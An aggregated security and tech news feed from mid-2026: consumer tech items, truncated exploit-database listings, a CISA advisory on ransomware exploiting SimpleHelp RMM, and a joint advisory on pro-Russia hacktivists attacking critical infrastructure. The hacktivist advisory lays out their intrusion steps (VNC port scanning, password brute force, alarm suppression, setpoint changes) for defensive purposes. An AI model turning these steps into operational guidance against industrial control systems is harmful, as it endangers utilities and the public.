Sat, 25 Jul 2026 16:32:39 +0200

Wie üblich hat der Online-Videodienst Netflix seine Neuheiten für den kommenden Monat verkündet. Wir geben euch einen Überblick über die Neuzugänge. Das Video-on-Demand-Archiv von Netflix wird wie jeden Monat mit …

CVE-2025-14213 | Cato Socket up to 24 Socket Web Interface os command injection

Sat, 25 Jul 2026 13:12:55 +0200

A vulnerability, which was classified as critical, has been found in Cato Socket up to 24. Affected by this issue is some unknown functionality of the component Socket Web Interface. This manipulation causes os command injection. This vulnerability is registered as CVE-2025-14213. Remote exploitation of the attack is possible. No exploit is available. It is advisable to upgrade the affected component.

Elektroautos werden günstiger als viele denken

Sat, 25 Jul 2026 12:43:31 +0200

Eine gemeinsame Studie von ICCT und Fraunhofer ISI zeigt sinkende reale Preise und eine deutlich größere Auswahl bei Elektroautos. Elektroautos sind in Deutschland zwischen 2020 und 2025 laut einer gemeinsamen …

Publish to Microsoft Store as a company—now with free registration and faster onboarding

Sat, 25 Jul 2026 10:17:50 +0200

We’re seeing growing demand from companies that want to reach Windows users across both consumer and enterprise devices, and we’ve heard consistent feedback that getting started should be simpler. Today, we’re addressing that with three updates

The post Publish to Microsoft Store as a company—now with free registration and faster onboarding appeared first on Windows Developer Blog.

State of the Thunder 14: The 2026 Mobile Roadmap

Sat, 25 Jul 2026 10:05:15 +0200

Author: Mozilla Thunderbird - Bewertung: 28x - Views:1101

As 2025 winds down, its time to start thinking of what we want to achieve for our Android AND iOS apps next year. Alessandro walks us through the 2026 mobile roadmap, covering our urgent priorities, feature wish list, and a glimpse at our upcoming design plans for the entire Thunderbird project.

Chapters

00:00 Intro
01:47 Thunderbird Pro in Mobile
05:49 How we build a roadmap
07:40 Android initiatives
12:51 Material 3 or Material You
21:05 Calendar Exploration Questions
31:26 Roadmap items for our community
33:34 iOS initiatives

Resources:
Current Android Roadmap: https://github.com/orgs/thunderbird/projects/19
TB Pro Announcement: https://blog.thunderbird.net/2025/04/thundermail-and-thunderbird-pro-services/
Mobile Development Matrix: https://matrix.to/#/#tb-mobile-dev:mozilla.org
Thunderbird for Android GitHub Issues: https://github.com/thunderbird/thunderbird-android/issues

Community Office Hours: Exchange Email Support

Sat, 25 Jul 2026 10:05:14 +0200

Author: Mozilla Thunderbird - Bewertung: 15x - Views:697

Welcome to the last Community Office Hours of 2025! In this edition, Heather and Monica welcome Sr. Software Engineer Brendan Abolivier and Software Engineer Eleanor Dichary from the Desktop Team. We’re discussing the recent Exchange Web Support for email that just landed in Thunderbird Monthly Release 145. Learn how the team landed this feature and discover future plans for Calendar and Contact support, as well as Graph API

Chapters:
00:00 Intro
03:50 What is Microsoft Exchange
05:07 Why it took so long to add Exchange
14:33 Exchange in Thunderbird 145
18:20 Config options and authorization
27:10 Attachments and storage
32:30 Sync and folder operations
36:10 Filters and notification
39:10 Search
40:20 Feedback and bug reporting
43:00 Mobile and Graph API
49:09 JMAP and future protocols
55:50 Calendar and address book
59:57 Roadmap and EWS deprecation
62:23 Closing

Resources:
Exchange Mozilla Support Article: https://support.mozilla.org/en-US/kb/thunderbird-and-exchange
Exchange Mozilla Wiki Post (with call for testing): https://wiki.mozilla.org/Thunderbird%3AExchange
Reach out on Matrix: https://matrix.to/#/#thunderbird:mozilla.org
Bugzilla (use Exchange component for reporting): https://bugzilla.mozilla.org/enter_bug.cgi?product=MailNews%20Core

Microsoft Excel LTSC 2024 Remote Code Execution

Sat, 25 Jul 2026 10:05:05 +0200

Topic: Microsoft Excel LTSC 2024 Remote Code Execution Risk: High Text:# Titles: Microsoft Excel LTSC 2024 - Remote Code Execution (RCE) # Author: nu11secur1ty # Date: 06/16/2025 # Vendor: Micros...

Langflow 1.2.x Remote Code Execution (RCE)

Sat, 25 Jul 2026 10:05:03 +0200

Topic: Langflow 1.2.x Remote Code Execution (RCE) Risk: High Text:#!/usr/bin/env python3 # Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE) # Date: 2025-07-11 # Exploit Author: Ra...

Tenda AC20 16.03.08.12 Command Injection

Sat, 25 Jul 2026 10:04:53 +0200

Topic: Tenda AC20 16.03.08.12 Command Injection Risk: Medium Text:/* * Exploit Title : Tenda AC20 16.03.08.12 - Command Injection * Author : Byte Reaper * CVE : CVE-2025-90...

DOS Baby POP3 Server 1.04

Sat, 25 Jul 2026 10:04:52 +0200

Topic: DOS Baby POP3 Server 1.04 Risk: Medium Text:# Exploit Title: DOS Baby POP3 Server 1.04 # Date: 12/08/2025 # Exploit Author: Érick Sousa (https://www.linkedin.com/in/eri...

Swagger UI 1.0.3 Cross-Site Scripting (XSS)

Sat, 25 Jul 2026 10:04:41 +0200

Topic: Swagger UI 1.0.3 Cross-Site Scripting (XSS) Risk: Low Text:/* * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-8191 * Title : Swagger UI 1.0.3...

Flowise 3.0.4 Remote Code Execution

Sat, 25 Jul 2026 10:04:39 +0200

Topic: Flowise 3.0.4 Remote Code Execution Risk: High Text:# Exploit Title: Flowise 3.0.4 - Remote Code Execution (RCE) # Date: 10/11/2025 # Exploit Author: [nltt0] (https://github.com...

MonstaFTP Unauthenticated File Upload

Sat, 25 Jul 2026 10:04:38 +0200

Topic: MonstaFTP Unauthenticated File Upload Risk: Medium Text:# Titles: MonstaFTP Unauthenticated File Upload CVE-2025-34299 # Author: ibrahimsql # Date: 11/21/2025 # Vendor: https://www...

Mbed TLS 3.6.4 Use-After-Free

Sat, 25 Jul 2026 10:04:36 +0200

Topic: Mbed TLS 3.6.4 Use-After-Free Risk: High Text:/* * Exploit Title: Mbed TLS 3.6.4 - Use-After-Free * Google Dork: N/A * Date: 2025-08-29 * Exploit Author: Byte Reaper...

LangChain Core - Serialization Injection to Jinja2 SSTI/RCE

Sat, 25 Jul 2026 10:04:32 +0200

Topic: LangChain Core - Serialization Injection to Jinja2 SSTI/RCE Risk: High Text:# Exploit Title: LangChain Core - Serialization Injection to Jinja2 SSTI/RCE # Date: 2025-12-29 # Exploit Author: Mohammed I...

aiohttp 3.9.1 Directory Traversal

Sat, 25 Jul 2026 10:04:29 +0200

Topic: aiohttp 3.9.1 Directory Traversal Risk: Medium Text:# Exploit Title: Python aiohttp directory traversal PoC (CVE-2024-23334) # Google Dork: N/A # Date: 2025-10-06 # Exploit Aut...

Siklu EtherHaul Series EH-8010 Remote Command Execution

Sat, 25 Jul 2026 10:04:28 +0200

Topic: Siklu EtherHaul Series EH-8010 Remote Command Execution Risk: High Text:# Exploit Title:Siklu EtherHaul Series EH-8010 - Remote Command Execution # Shodan Dork: "EH-8010" or "EH-1200" # Date: 2025-...

Offener Brief: Microsoft und andere gegen Regulierung chinesischer KI-Modelle

Sat, 25 Jul 2026 09:24:48 +0200

Dass Microsoft momentan mehrere Open Weight-Modelle für Microsoft Copilot aus China testet, um die Kosten grundsätzlich zu senken und besser auf einzelne Anwendungsfälle abstimmen zu können, haben wir an dieser Stelle schon berichtet. Eine Gruppe von 25 Tech- und KI-Unternehmen wendet sich in einem offenen Brief nun gegen etwaige Regulierungen solche Modelle durch die US-Regierung […]

Der Beitrag Offener Brief: Microsoft und andere gegen Regulierung chinesischer KI-Modelle erschien zuerst auf Dr. Windows.

Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider

Sat, 25 Jul 2026 09:19:52 +0200

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.¹Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.¹

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider (PDF, 420.49 KB )

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file /SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

Isolate the SimpleHelp server instance from the internet or stop the server process.
Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.²
Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

Windows: %APPDATA%\JWrapper-Remote Access
Linux: /opt/JWrapper-Remote Access
MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in /JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with indicate the server addresses where the service is registered.


SimpleHelp Server
Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.
If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

 Refer to SimpleHelp’s guidance to determine compromise and next steps.³
Isolate the SimpleHelp server instance from the internet or stop the server process.
Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.⁴

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.
Encrypted Downstream Customers and End Users
If a system has been encrypted by ransomware:

Disconnect the affected system from the internet.
Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).
Proactive Mitigations to Reduce Risk
To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

Maintain a robust asset inventory and hardware list [CPG 1.A].
Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.

An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.



Resources

Health-ISAC:Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks
Arctic Wolf: Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access
CISA: #StopRansomware Guide

Reporting
Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.
FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.
CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).
SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.
Version History
June 12, 2025: Initial version.
Notes
1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.



Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
Sat, 25 Jul 2026 09:15:46 +0200
Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.
FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

U.S. Department of Energy (DOE)
U.S. Environmental Protection Agency (EPA)
U.S. Department of Defense Cyber Crime Center (DC3)
Europol European Cybercrime Centre (EC3)
EUROJUST – European Union Agency for Criminal Justice Cooperation
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Canadian Centre for Cyber Security (Cyber Centre)
Canadian Security Intelligence Service (CSIS)
Czech Republic Military Intelligence (VZ)
Czech Republic National Cyber and Information Security Agency (NÚKIB)
Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
French National Cybercrime Unit – Gendarmerie Nationale (UNC)
French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
German Federal Office for Information Security (BSI)
Italian State Police (PS)
Latvian State Police (VP)
Lithuanian Criminal Police Bureau (LKPB)
New Zealand National Cyber Security Centre (NCSC-NZ)
Romanian National Police (PR)
Spanish Civil Guard (GC)
Spanish National Police (CNP)
Swedish Polisen (SC3)
United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.
The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.
Download the PDF version of this report:






    
    Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
    (PDF,       1.53 MB
  )
  

Background and Development of Pro-Russia Hacktivist Groups
Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.
Cyber Army of Russia Reborn
The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.
In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.
CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.
In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.
The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.
NoName057(16)
The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.
Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 
In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.
Z-Pentest
Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.
Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.
Sector16
Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.
Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.
Technical Details
Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
TTP Overview
Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.
Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.
Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.
Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
Use VNC software to access hosts [T1021.005].
Confirm connection to the vulnerable device [T0886].
Brute force the password, if required [T1110.003].
Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
Log the confirmed vulnerable device IP address, port, and password.
Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:

Modify usernames/passwords [T0892];
Modify parameters [T0836];
Modify device name [T0892];
Modify instrument settings [T0831];
Disable alarms [T0878];
Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
Device restart or shutdown [T0816].


Disconnect from the device, ending the VNC connection.
Research the compromised device company after the intrusion [T1591].

Propagation
To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.
Reconnaissance and Initial Access
The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.
Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.
Impact
While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.
Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.
MITRE ATT&CK Tactics and Techniques
See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.


Table 1. Reconnaissance


Technique Title
ID
Use




Gather Victim Organization Information
T1591
Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.


Active Scanning: Vulnerability Scanning
T1595.002
Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.




Table 2. Resource Development


Technique Title
ID
Use




Acquire Infrastructure: Virtual Private Server
T1583.003
Threat actors use virtual infrastructure to obfuscate identifiers.




Table 3. Initial Access


Technique Title
ID
Use




Internet Accessible Device
T0883
Threat actors gain access through less secure HMI devices exposed to the internet.




Table 4. Persistence


Technique Title
ID
Use




Valid Accounts
T0859
Threat actors use password guessing tools to access legitimate accounts on the HMI devices.




Table 5. Credential Access


Technique Title
ID
Use




Brute Force: Password Spraying
T1110.003
Threat actors use tools to rapidly guess common or simple passwords.




Table 6. Lateral Movement


Technique Title
ID
Use




Default Credentials
T0812
Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.


Remote Services
T0886
Threat actors leverage VNC services to access system HMI devices.


Remote Services: VNC
T1021.005
Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.




Table 7. Execution


Technique Title
ID
Use




Graphical User Interface
T0823
Threat actors interact with HMI devices via GUIs, attempting to modify control devices.




Table 8. Inhibit Response Function


Technique Title
ID
Use




Device Restart/Shutdown
T0816
While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.


Alarm Suppression
T0878
Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.


Change Credential
T0892
Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.




Table 9. Impair Process Control


Technique Title
ID
Use




Modify Parameter
T0836
Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.


Unauthorized Command Message
T0855
Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.




Table 10. Impact


Technique Title
ID
Use




Loss of Productivity and Revenue
T0828
Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.


Loss of View
T0829
Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. 


Manipulation of Control
T0831
Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  



Incident Response
If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

Determine which hosts were compromised and isolate them by quarantining or taking them offline.
Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
Reimage compromised hosts.
Provision new account credentials.
Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations
OT Asset Owners and Operators
The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].

Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.

Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
